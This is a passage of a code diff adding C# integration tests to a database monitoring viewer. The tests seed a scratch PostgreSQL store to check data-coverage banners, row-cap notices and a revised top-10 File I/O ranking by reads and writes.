+        Assert.Equal(store.End.AddDays(-2), coverage);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-5)), banner);
+    }
+
+    /* History that reaches the range start: the same recent server, its first collection stored events from 9 days ago,
+       so the grid's first row is the range's own start. No notice, though the coverage starts 5 days later. */
+    [Theory]
+    [InlineData(Grid.SystemEvents)]
+    [InlineData(Grid.DefaultTrace)]
+    [InlineData(Grid.LongQueries)]
+    public async Task HistoryThatReachesTheRangeStart_GivesNoNotice_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var coverage = await store.CoverageAsync(grid, DeepHistoryServerId, ct);
+        var banner = await store.BannerAsync(grid, DeepHistoryServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-2), coverage);
+        Assert.Null(banner);
+    }
+
+    private sealed class SeededStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+        private readonly ViewerDataService _viewer;
+
+        private SeededStore(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            _viewer = viewer;
+            End = end;
+        }
+
+        public DateTime End { get; }
+
+        /// <summary>The start of the 7-day range every test reads.</summary>
+        public DateTime Start => End.AddDays(-7);
+
+        /// <summary>Where the collector's coverage starts for the range: the probe's own answer.</summary>
+        public Task<DateTime?> CoverageAsync(Grid grid, int serverId, CancellationToken ct) => grid switch
+        {
+            Grid.SystemEvents => _viewer.GetSystemHealthEventsDataStartAsync(serverId, Start, End, ct),
+            Grid.LongQueries => _viewer.GetLongQueriesDataStartAsync(serverId, Start, End, ct),
+            _ => _viewer.GetDefaultTraceDataStartAsync(serverId, Start, End, ct),
+        };
+
+        /// <summary>
+        /// The banner the server tab raises for the grid over the range: the probe's answer and the grid's rows, handed to the tab's own
+        /// step (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>) on a real banner control with the cap the tab passes (Long
+        /// Queries only). Null when the banner is hidden.
+        /// </summary>
+        public async Task<string?> BannerAsync(Grid grid, int serverId, CancellationToken ct)
+        {
+            var coverage = await CoverageAsync(grid, serverId, ct);
+            if (grid == Grid.SystemEvents)
+            {
+                /* One of the eight grids that read system_health_events: Severe Errors. The row's event time is the XE
+                   timestamp the shred reads off the event, which the seed keeps equal to the table's event_time. */
+                var errors = await _viewer.GetSevereErrorsAsync(serverId, Start, End, cancellationToken: ct);
+                Assert.NotEmpty(errors);
+                return QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+                    banner, Task.FromResult(coverage), "System Events", Start, errors.Select(r => r.EventTime)));
+            }
+
+            if (grid == Grid.LongQueries)
+            {
+                /* The read windows on collection_time and shows event_time; a full page names its oldest row. */
+                var completions = await _viewer.GetRecentLongQueryCompletionsAsync(serverId, Start, End, cancellationToken: ct);
+                Assert.NotEmpty(completions);
+                return QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+                    banner, Task.FromResult(coverage), "Long Queries", Start, completions.Select(r => r.EventTime), ViewerDataService.LongQueriesRowCap));
+            }
+
+            var trace = await _viewer.GetDefaultTraceEventsAsync(serverId, Start, End, cancellationToken: ct);
+            Assert.NotEmpty(trace);
+            return QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult(coverage), "Default Trace", Start, trace.Select(r => r.EventTimeUtc)));
+        }
+
+        public static async Task<SeededStore> CreateAsync(Grid grid, CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live event data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                DateTime end;
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    var now = DateTime.UtcNow;
+                    end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                    var table = grid switch
+                    {
+                        Grid.SystemEvents => "system_health_events",
+                        Grid.LongQueries => "long_query_completions",
+                        _ => "default_trace_events",
+                    };
+                    var collector = DataWindowFloor.Source.ForCollectorTable(table).CollectorName!;
+
+                    /* Added 2 days ago; its first event came a day later, collected when it happened. */
+                    await EventGridSeed.AddServerAsync(connection, NewServerId, "event-grids-new", end.AddDays(-2), collector, end, ClockOffsetMinutes, ct);
+                    await InsertEventsAsync(connection, grid, NewServerId, end.AddDays(-1), end, collectedFirst: null, ct);
+
+                    /* Monitored for 120 days: the store ran the collector the whole range, and the range's first event
+                       came 5 hours in. */
+                    await EventGridSeed.AddServerAsync(connection, QuietServerId, "event-grids-quiet", end.AddDays(-120), collector, end, ClockOffsetMinutes, ct);
+                    await InsertEventsAsync(connection, grid, QuietServerId, end.AddDays(-7).AddHours(5), end, collectedFirst: null, ct);
+
+                    /* Added 2 days ago; its first collection stored the events of the 3 days before that, then the
+                       collector kept up. */
+                    await EventGridSeed.AddServerAsync(connection, HistoryServerId, "event-grids-history", end.AddDays(-2), collector, end, ClockOffsetMinutes, ct);
+                    await InsertEventsAsync(connection, grid, HistoryServerId, end.AddDays(-5), end.AddDays(-2), collectedFirst: end.AddDays(-2), ct);
+                    await InsertEventsAsync(connection, grid, HistoryServerId, end.AddDays(-2).AddHours(6), end, collectedFirst: null, ct);
+
+                    /* The same, with 7 days of history before it, so the first collection stored the range's own start. */
+                    await EventGridSeed.AddServerAsync(connection, DeepHistoryServerId, "event-grids-deep-history", end.AddDays(-2), collector, end, ClockOffsetMinutes, ct);
+                    await InsertEventsAsync(connection, grid, DeepHistoryServerId, end.AddDays(-9), end.AddDays(-2), collectedFirst: end.AddDays(-2), ct);
+                    await InsertEventsAsync(connection, grid, DeepHistoryServerId, end.AddDays(-2).AddHours(6), end, collectedFirst: null, ct);
+                }
+
+                return new SeededStore(scratch, new ViewerDataService(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /* One event every 6 hours from firstUtc to lastUtc (UTC instants), collected when it happened, or all in one first
+           collection at collectedFirst (the history a server's first collection stores). A system_health_events row carries
+           its time twice, in the column the read windows on and in the XE timestamp the grid shows; both are the same UTC
+           instant. A default_trace_events row carries the server's own clock, 5 hours behind. */
+        private static async Task InsertEventsAsync(
+            NpgsqlConnection connection, Grid grid, int serverId, DateTime firstUtc, DateTime lastUtc, DateTime? collectedFirst, CancellationToken ct)
+        {
+            var sql = grid == Grid.LongQueries
+                ? """
+                    INSERT INTO collect.long_query_completions
+                        (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, duration_microseconds, statement_text)
+                    SELECT
+                        row_number() OVER () + $4,
+                        COALESCE($5::timestamp, t),
+                        $1,
+                        'event-grids',
+                        t,
+                        'sql_batch_completed',
+                        'EventDb',
+                        5000000,
+                        'SELECT 1'
+                    FROM generate_series($2::timestamp, $3::timestamp, interval '6 hours') AS t
+                    """
+                : grid == Grid.SystemEvents
+                ? """
+                    INSERT INTO collect.system_health_events
+                        (system_health_event_id, collection_time, server_id, server_name, event_time, event_type, event_xml)
+                    SELECT
+                        row_number() OVER () + $4,
+                        COALESCE($5::timestamp, t),
+                        $1,
+                        'event-grids',
+                        t,
+                        'error_reported',
+                        '<event name="error_reported" package="sqlserver" timestamp="' || to_char(t, 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') || '">'
+                        || '<data name="error_number"><value>823</value></data><data name="severity"><value>24</value></data>'
+                        || '<data name="state"><value>2</value></data><data name="message"><value>read error</value></data></event>'
+                    FROM generate_series($2::timestamp, $3::timestamp, interval '6 hours') AS t
+                    """
+                : """
+                    INSERT INTO collect.default_trace_events
+                        (default_trace_event_id, collection_time, server_id, server_name, event_time, event_name, event_class)
+                    SELECT
+                        row_number() OVER () + $4,
+                        COALESCE($5::timestamp, t),
+                        $1,
+                        'event-grids',
+                        t + make_interval(mins => $6),
+                        'Data File Auto Grow',
+                        92
+                    FROM generate_series($2::timestamp, $3::timestamp, interval '6 hours') AS t
+                    """;
+
+            await using var insert = new NpgsqlCommand(sql, connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(lastUtc, DateTimeKind.Unspecified));
+            /* Distinct ids per call: a store keys a row on its id, and two calls for one server share an id range otherwise. */
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L + (collectedFirst is null ? 50_000L : 0L));
+            insert.Parameters.Add(new NpgsqlParameter { Value = collectedFirst is DateTime c ? DateTime.SpecifyKind(c, DateTimeKind.Unspecified) : DBNull.Value, NpgsqlDbType = NpgsqlDbType.Timestamp });
+            if (grid == Grid.DefaultTrace)
+            {
+                insert.Parameters.AddWithValue(ClockOffsetMinutes);
+            }
+
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
+
+/// <summary>
+/// The caps of the desktop viewer's two Blocking grids against a real store (#4966): a read that returns a full page of its
+/// newest rows (200 blocked process reports, 50 deadlocks) names its oldest row in the notice, even where the store covers
+/// the whole range, because the grid reaches back no further than that row. A read under its cap keeps the result it had. Each
+/// case runs the tab's own banner step (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>) on a real banner control with the
+/// grid's cap, and reads what the banner says.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the process-wide
+   display mode, which QueryGridSeed.ReadBanner sets and restores; the viewer-time-statics collection serializes that with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerEventCapDataStartLiveTests
+{
+    public enum Grid
+    {
+        BlockedProcessReports,
+        Deadlocks,
+    }
+
+    private const int ServerId = -496621;
+
+    private static int CapOf(Grid grid) => grid == Grid.BlockedProcessReports
+        ? ViewerDataService.BlockedProcessReportsRowCap
+        : ViewerDataService.DeadlocksRowCap;
+
+    /* A server monitored for 120 days, so the store covers the whole 7-day range, and `seeded` events one minute apart ending
+       at the range's end. The read keeps the newest `cap` of them, so its oldest row came `cap - 1` minutes before the end:
+       inside the range, days after the range's start. A full page (the cap exactly, or more rows than it) names that row. */
+    [Theory]
+    [InlineData(Grid.BlockedProcessReports, 200)]
+    [InlineData(Grid.BlockedProcessReports, 260)]
+    [InlineData(Grid.Deadlocks, 50)]
+    [InlineData(Grid.Deadlocks, 70)]
+    public async Task AFullPage_GivesANotice_AtItsOldestRow_ThoughTheStoreCoversTheRange_AgainstDevPostgres(Grid grid, int seeded)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await CapStore.CreateAsync(grid, seeded, ct);
+
+        var read = await store.ReadAsync(grid, ct);
+
+        var oldest = store.End.AddMinutes(-(CapOf(grid) - 1));
+
+        Assert.Equal(CapOf(grid), read.Shown.Count);
+        Assert.Equal(QueryGridSeed.Since(oldest), store.Banner(grid, read));
+        /* The full page alone names it: the cap rule over the rows the grid shows, with no capped-source start beside it. */
+        Assert.Equal(QueryGridSeed.Since(oldest), store.Banner(grid, read, withCappedSource: false));
+
+        /* The cap is what raises it: without the cap rule the store's coverage reaches the range start, and nothing shows. */
+        Assert.Null(store.Banner(grid, read, withCapRule: false));
+    }
+
+    /* One row under the cap: the read returned everything the range holds, so the coverage rule stands and the covered range
+       shows no notice. */
+    [Theory]
+    [InlineData(Grid.BlockedProcessReports)]
+    [InlineData(Grid.Deadlocks)]
+    public async Task AReadUnderItsCap_KeepsItsResult_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var seeded = CapOf(grid) - 1;
+        await using var store = await CapStore.CreateAsync(grid, seeded, ct);
+
+        var read = await store.ReadAsync(grid, ct);
+
+        Assert.Equal(seeded, read.Shown.Count);
+        Assert.NotNull(read.Coverage);
+        Assert.Null(store.Banner(grid, read));
+        /* The cap rule changes nothing for a read under its cap: the covered range shows no notice with it or without it. */
+        Assert.Null(store.Banner(grid, read, withCapRule: false));
+    }
+
+    /// <summary>What the grid's read and the probe returned: the probe's answer, the event time of every row shown, and, for the merged
+    /// Blocked Process Reports read, the oldest row of the source that filled its own cap (null when none did).</summary>
+    private sealed record CapRead(DateTime? Coverage, List<DateTime?> Shown, DateTime? CappedSourceStartUtc);
+
+    private sealed class CapStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+        private readonly ViewerDataService _viewer;
+
+        private CapStore(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            _viewer = viewer;
+            End = end;
+        }
+
+        public DateTime End { get; }
+
+        public DateTime Start => End.AddDays(-7);
+
+        /// <summary>The probe's answer and what the grid's read returned, for the range the viewer's default window draws.</summary>
+        public async Task<CapRead> ReadAsync(Grid grid, CancellationToken ct)
+        {
+            if (grid == Grid.BlockedProcessReports)
+            {
+                var coverage = await _viewer.GetBlockedProcessReportsDataStartAsync(ServerId, Start, End, ct);
+                var read = await _viewer.ReadRecentBlockedProcessReportsAsync(ServerId, Start, End, cancellationToken: ct);
+                return new CapRead(coverage, read.Rows.Select(r => r.EventTime).ToList(), read.CappedSourceStartUtc);
+            }
+
+            var deadlockCoverage = await _viewer.GetDeadlocksDataStartAsync(ServerId, Start, End, ct);
+            var deadlocks = await _viewer.GetRecentDeadlocksAsync(ServerId, Start, End, ct);
+            return new CapRead(deadlockCoverage, deadlocks.Select(r => (DateTime?)r.DeadlockTime).ToList(), null);
+        }
+
+        /// <summary>
+        /// The banner the tab's own step (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>) raises for what the read returned, on a real
+        /// banner control: with the cap the tab passes (and, for Blocked Process Reports, where the source that filled its own cap
+        /// starts, unless <paramref name="withCappedSource"/> is false), or with neither when <paramref name="withCapRule"/> is false.
+        /// Null when the banner is hidden.
+        /// </summary>
+        public string? Banner(Grid grid, CapRead read, bool withCapRule = true, bool withCappedSource = true) =>
+            QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult(read.Coverage), grid == Grid.BlockedProcessReports ? "Blocked Process Reports" : "Deadlocks", Start, read.Shown,
+                withCapRule ? CapOf(grid) : null, withCapRule && withCappedSource ? read.CappedSourceStartUtc : null));
+
+        public static async Task<CapStore> CreateAsync(Grid grid, int seeded, CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live event data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                DateTime end;
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    var now = DateTime.UtcNow;
+                    end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                    var collector = grid == Grid.BlockedProcessReports ? "blocked_process_report" : "deadlocks";
+
+                    await EventGridSeed.AddServerAsync(connection, ServerId, "event-cap", end.AddDays(-120), collector, end, clockOffsetMinutes: null, ct);
+
+                    var sql = grid == Grid.BlockedProcessReports
+                        ? """
+                            INSERT INTO collect.blocked_process_reports
+                                (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms)
+                            SELECT row_number() OVER () + $4, t, $1, 'event-cap', t, 'EventDb', 55, 56, 1000
+                            FROM generate_series($2::timestamp, $3::timestamp, interval '1 minute') AS t
+                            """
+                        : """
+                            INSERT INTO collect.deadlocks
+                                (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+                            SELECT row_number() OVER () + $4, t, $1, 'event-cap', t, 'process1', 'SELECT 1', '<deadlock />'
+                            FROM generate_series($2::timestamp, $3::timestamp, interval '1 minute') AS t
+                            """;
+
+                    await using var insert = new NpgsqlCommand(sql, connection);
+                    insert.Parameters.AddWithValue(ServerId);
+                    insert.Parameters.AddWithValue(DateTime.SpecifyKind(end.AddMinutes(-(seeded - 1)), DateTimeKind.Unspecified));
+                    insert.Parameters.AddWithValue(DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+                    insert.Parameters.AddWithValue(Math.Abs((long)ServerId) * 100_000L);
+                    await insert.ExecuteNonQueryAsync(ct);
+                }
+
+                return new CapStore(scratch, new ViewerDataService(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
+
+/// <summary>The registry row and the collector's runs a store needs before a data-start probe can answer about a server.</summary>
+internal static class EventGridSeed
+{
+    /* The registry row (created_date: the server's first successful connect), the collector's runs from then on, every 30
+       minutes whether or not anything happened, and, when the server has a clock, the offset the viewer converts with. */
+    public static async Task AddServerAsync(
+        NpgsqlConnection connection, int serverId, string serverName, DateTime addedUtc, string collector, DateTime endUtc,
+        int? clockOffsetMinutes, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+
+        await using (var update = new NpgsqlCommand("UPDATE collect.servers SET created_date = $2 WHERE server_id = $1", connection))
+        {
+            update.Parameters.AddWithValue(serverId);
+            update.Parameters.AddWithValue(DateTime.SpecifyKind(addedUtc, DateTimeKind.Unspecified));
+            await update.ExecuteNonQueryAsync(ct);
+        }
+
+        await using (var insert = new NpgsqlCommand("""
+            INSERT INTO collect.collection_log
+                (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+            SELECT row_number() OVER () + $6, $1, $2, $5, t, 12, 'SUCCESS', 0
+            FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t
+            """, connection))
+        {
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(addedUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(collector);
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        if (clockOffsetMinutes is int offset)
+        {
+            await using var properties = new NpgsqlCommand(
+                "INSERT INTO collect.server_properties (collection_id, collection_time, server_id, server_name, utc_offset_minutes) VALUES ($1, $2, $3, $4, $5)", connection);
+            properties.Parameters.AddWithValue(Math.Abs((long)serverId));
+            properties.Parameters.AddWithValue(DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified));
+            properties.Parameters.AddWithValue(serverId);
+            properties.Parameters.AddWithValue(serverName);
+            properties.Parameters.AddWithValue(offset);
+            await properties.ExecuteNonQueryAsync(ct);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFileIoBlockingTests.cs b/Darling/Darling.Tests/ViewerFileIoBlockingTests.cs
index c154e89411..8e8f51356f 100644
--- a/Darling/Darling.Tests/ViewerFileIoBlockingTests.cs
+++ b/Darling/Darling.Tests/ViewerFileIoBlockingTests.cs
@@ -36,9 +36,14 @@ public sealed class ViewerFileIoBlockingSqlTests
     public void FileIoLatencyTrendSql_TopFilesCte_PerFileAverageLatency_WithQueuedCoalesce()
     {
         Assert.Contains("FROM v_file_io_stats", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
-        Assert.Contains("WITH top_files AS", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY SUM(delta_reads + delta_writes) DESC", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
-        Assert.Contains("LIMIT 10", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        /* Release walk V9: the ranking is two top-10 lists, one by reads for the read chart and one by writes for the write chart,
+           not one list by reads + writes (which held only log files on a server whose logs carry the most operations). */
+        Assert.Contains("top_files AS", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.Contains("ROW_NUMBER() OVER (ORDER BY total_reads DESC NULLS LAST, total_writes DESC NULLS LAST, database_name COLLATE \"C\" NULLS LAST, file_name COLLATE \"C\" NULLS LAST) AS read_rank", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.Contains("ROW_NUMBER() OVER (ORDER BY total_writes DESC NULLS LAST, total_reads DESC NULLS LAST, database_name COLLATE \"C\" NULLS LAST, file_name COLLATE \"C\" NULLS LAST) AS write_rank", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.Contains("read_rank <= 10 AND total_reads > 0", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.Contains("write_rank <= 10 AND total_writes > 0", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("ORDER BY SUM(delta_reads + delta_writes) DESC", ViewerDataService.FileIoLatencyTrendSql, StringComparison.Ordinal);
 
         /* #4234: read/write average latency casts the bucket's summed stall to double before dividing by
            the bucket's summed ops — a rated row's deltas only (unrated ones nulled out by the CASE below). */
@@ -80,7 +85,7 @@ public void FileIoThroughputTrendSql_LagInterval_PerSecondMbRate()
     {
         Assert.Contains("FROM v_file_io_stats", ViewerDataService.FileIoThroughputTrendSql, StringComparison.Ordinal);
         Assert.Contains("WITH top_files AS", ViewerDataService.FileIoThroughputTrendSql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY SUM(delta_read_bytes + delta_write_bytes) DESC", ViewerDataService.FileIoThroughputTrendSql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY SUM(delta_read_bytes + delta_write_bytes) DESC NULLS LAST, database_name COLLATE \"C\" NULLS LAST, file_name COLLATE \"C\" NULLS LAST", ViewerDataService.FileIoThroughputTrendSql, StringComparison.Ordinal);
 
         /* The per-file label is database.file, and the interval is the row's STORED sample_interval_seconds
            (0 → NULL) with the LAG over collection_time only for pre-V127 rows (#3540). */
@@ -265,6 +270,8 @@ public sealed class ViewerFileIoBlockingLivePostgresTests
     private const int BlockedSessionServerId = -971007;
     private const int FileIoBudgetServerId = -971008;
     private const int FileIoSingletonServerId = -971009;
+    private const int FileIoTopFilesServerId = -971010;
+    private const int FileIoRankOrderServerId = -971011;
 
     private const string ServerName = "viewer-w1c-e2e";
 
@@ -427,6 +434,163 @@ await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup
         }
     }
 
+    /// <summary>
+    /// Release walk V9, Viewer side: twelve log files write far more than any data file and never read, so the old
+    /// reads + writes ranking kept only log files and the read chart (and the Overview I/O Latency lane) was blank. The
+    /// ten busiest files by reads are charted for the read chart and the ten busiest by writes for the write chart.
+    /// </summary>
+    [Fact]
+    public async Task FileIoLatency_LogFilesWithTheLargestTotalsAndNoReads_DoNotCrowdOutTheDataFiles_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live File I/O top-files test.");
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteRowsAsync(connection, "file_io_stats", FileIoTopFilesServerId, TestContext.Current.CancellationToken);
+
+        await using var viewer = new ViewerDataService(connectionString!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var t1 = TruncateToSeconds(DateTime.UtcNow.AddMinutes(-10));
+
+            for (var i = 0; i < 12; i++)
+            {
+                await InsertFileIoAsync(connection, FileIoTopFilesServerId, t1, $"Db{i}", $"Db{i}_log",
+                    deltaReads: 0, deltaWrites: 100_000, deltaReadBytes: 0, deltaWriteBytes: 0,
+                    deltaStallReadMs: 0, deltaStallWriteMs: 200_000, deltaStallQueuedReadMs: 0, deltaStallQueuedWriteMs: 0);
+            }
+
+            await InsertFileIoAsync(connection, FileIoTopFilesServerId, t1, "Db0", "Db0_data",
+                deltaReads: 500, deltaWrites: 20, deltaReadBytes: 0, deltaWriteBytes: 0,
+                deltaStallReadMs: 4_000, deltaStallWriteMs: 60, deltaStallQueuedReadMs: 0, deltaStallQueuedWriteMs: 0);
+
+            var rows = await viewer.GetFileIoLatencyTrendAsync(FileIoTopFilesServerId, t1.AddMinutes(-1), t1.AddMinutes(1));
+
+            /* 4,000 ms of stall over 500 reads. */
+            var data = Assert.Single(rows, r => r.FileName == "Db0_data");
+            Assert.Equal(8.0, data.AvgReadLatencyMs, precision: 3);
+
+            /* Release walk V9b: the points carry their read counts, so the Overview lane's figure is total stall over total
+               reads across the files that had reads (8.0 ms), not the average over the log files' zero-read points too. */
+            Assert.Equal(500, data.Reads);
+            Assert.All(rows.Where(r => r.FileName.EndsWith("_log", StringComparison.Ordinal)), r => Assert.Equal(0, r.Reads));
+            Assert.Equal(8.0, PerformanceMonitor.Ui.IoLatencyWeighting.Weighted(rows.Select(r => (r.AvgReadLatencyMs, r.Reads))), precision: 3);
+
+            /* The write ranking still keeps ten of the twelve log files, at their 2 ms writes. */
+            var logs = rows.Where(r => r.FileName.EndsWith("_log", StringComparison.Ordinal)).ToList();
+            Assert.Equal(10, logs.Count);
+            Assert.All(logs, r => Assert.Equal(2.0, r.AvgWriteLatencyMs, precision: 3));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, "file_io_stats", FileIoTopFilesServerId, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// File I/O ranking, NULL and tie order (the DuckDB twin is in Lite.Tests' FileIoLatencyTopFilesTests): PostgreSQL sorts a
+    /// NULL first under DESC, so a file whose reads were all NULL (writes only) took read rank 1 here alone and pushed the tenth
+    /// data file out of the read list. The sums are COALESCEd to 0, every key is NULLS LAST, and tied files break on the
+    /// database and file name in byte order (COLLATE "C"), the order DuckDB uses.
+    /// </summary>
+    [Fact]
+    public async Task FileIoLatency_NullReadsAndTiedFiles_KeepTheSameTenAsDuckDb_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live File I/O ranking-order test.");
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteRowsAsync(connection, "file_io_stats", FileIoRankOrderServerId, TestContext.Current.CancellationToken);
+
+        await using var viewer = new ViewerDataService(connectionString!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var t1 = TruncateToSeconds(DateTime.UtcNow.AddMinutes(-10));
+
+            /* Eleven data files tied on reads and writes. Byte order puts "C_data" first and "a9" last, so "a9" is the one dropped;
+               a locale-aware order would drop "C_data" instead. */
+            foreach (var name in new[] { "C_data", "a0", "a1", "a2", "a3", "a4", "a5", "a6", "a7", "a8", "a9" })
+            {
+                await InsertFileIoAsync(connection, FileIoRankOrderServerId, t1, "Db", name,
+                    deltaReads: 100, deltaWrites: 5, deltaReadBytes: 0, deltaWriteBytes: 0,
+                    deltaStallReadMs: 500, deltaStallWriteMs: 10, deltaStallQueuedReadMs: 0, deltaStallQueuedWriteMs: 0);
+            }
+
+            /* A writes-only file whose delta_reads is NULL, not 0. */
+            using (var command = new NpgsqlCommand(@"
+INSERT INTO file_io_stats
+    (collection_id, collection_time, server_id, server_name, database_name, file_name,
+     delta_reads, delta_writes, delta_read_bytes, delta_write_bytes, delta_stall_read_ms, delta_stall_write_ms)
+VALUES (1, $1, $2, $3, 'Db', 'nullreads_log', NULL, 7, NULL, 7, NULL, 7)", connection))
+            {
+                command.Parameters.AddWithValue(DateTime.SpecifyKind(t1, DateTimeKind.Unspecified));
+                command.Parameters.AddWithValue(FileIoRankOrderServerId);
+                command.Parameters.AddWithValue(ServerName);
+                await command.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+            }
+
+            var rows = await viewer.GetFileIoLatencyTrendAsync(FileIoRankOrderServerId, t1.AddMinutes(-1), t1.AddMinutes(1));
+            var read = rows.Where(r => r.Reads > 0).Select(r => r.FileName).Distinct().ToList();
+
+            Assert.Equal(10, read.Count);
+            Assert.Contains("C_data", read);
+            Assert.DoesNotContain("a9", read);
+            Assert.DoesNotContain("nullreads_log", read);
+
+            /* Round 2, L4: the chart's ten are the read's ten (its flag columns), tie at rank 10 included: "a9" is out of both. */
+            var chartRead = PerformanceMonitor.Ui.FileIoChartFiles.ReadChartFiles(rows, p => p.FileName, p => p.InReadTen).Select(g => g.Key).ToList();
+            Assert.Equal(read.OrderBy(n => n, StringComparer.Ordinal), chartRead.OrderBy(n => n, StringComparer.Ordinal));
+            var chartWrite = PerformanceMonitor.Ui.FileIoChartFiles.WriteChartFiles(rows, p => p.FileName, p => p.InWriteTen).Select(g => g.Key).ToList();
